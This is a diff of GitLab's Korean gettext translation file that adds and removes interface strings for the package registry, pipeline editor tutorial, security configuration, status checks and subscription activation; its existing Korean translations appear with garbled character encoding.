+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr "페ì´ì§€"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "마지막 »"
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr "패스워드"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "비밀번호 (ì„ íƒ)"
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr "파ì´í”„ë¼ì¸ 스케쥴"
msgid "Pipeline Schedules"
msgstr "파ì´í”„ë¼ì¸ 스케쥴"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "합계 :"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "ì´ í”„ë¡œì íŠ¸ëŠ” 현재 파ì´í”„ë¼ì¸ì„ 실행하ë„ë¡ ì„¤ì •ë˜ì§€ 않았습니다."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr "결과를 보려면 최소 í•˜ë‚˜ì˜ í•„í„°ë¥¼ ì„ íƒí•˜ì‹­ì‹œì˜¤"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "계ì†í•˜ê¸° ì „ì— ìƒˆ 비밀번호를 설정해주세요."
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "저장소를 가져오는 ë™ì•ˆ 기다려주십시오. 완료ë˜ë©´ ìžë™ìœ¼ë¡œ 페ì´ì§€ë¥¼ 새로고침 합니다."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr "미리보기"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "마í¬ë‹¤ìš´ 미리보기"
@@ -24667,8 +25170,8 @@ msgstr "비밀 기여"
msgid "Profiles|Profile was successfully updated"
msgstr "í”„ë¡œí•„ì´ ì„±ê³µì ìœ¼ë¡œ ì—…ë°ì´íŠ¸ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Profiles|Public Avatar"
-msgstr "공개 아바타"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "공개 ì´ë©”ì¼"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "%{group_name}ê³¼ 공유ë˜ëŠ” 프로ì íŠ¸"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr "복구 코드"
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "저장소 템플릿 ì„ íƒ"
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr "ê¸°ë³¸ê°’ì„ ì„¤ì •í•˜ê³  공개 ìˆ˜ì¤€ì„ ì œí•œí•˜ì‹­ì‹œì˜¤. 소스 ê°
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "가입 제한"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "스마트카드"
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr "스테ì´ì§€"
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr "저장소:"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "스위치 브랜치/태그"
@@ -31161,6 +31832,9 @@ msgstr "템플릿"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "템플릿"
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "테스트 커버리지 파싱"
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr "%{timeout} ì´í›„ 가져오기 ì‹œê°„ì´ ì´ˆê³¼ë˜ì—ˆìŠµë‹ˆë‹¤. 저장ì†
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "ì´ë©”ì¼ í† í°ì„ ìž¬ì„¤ì •í•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
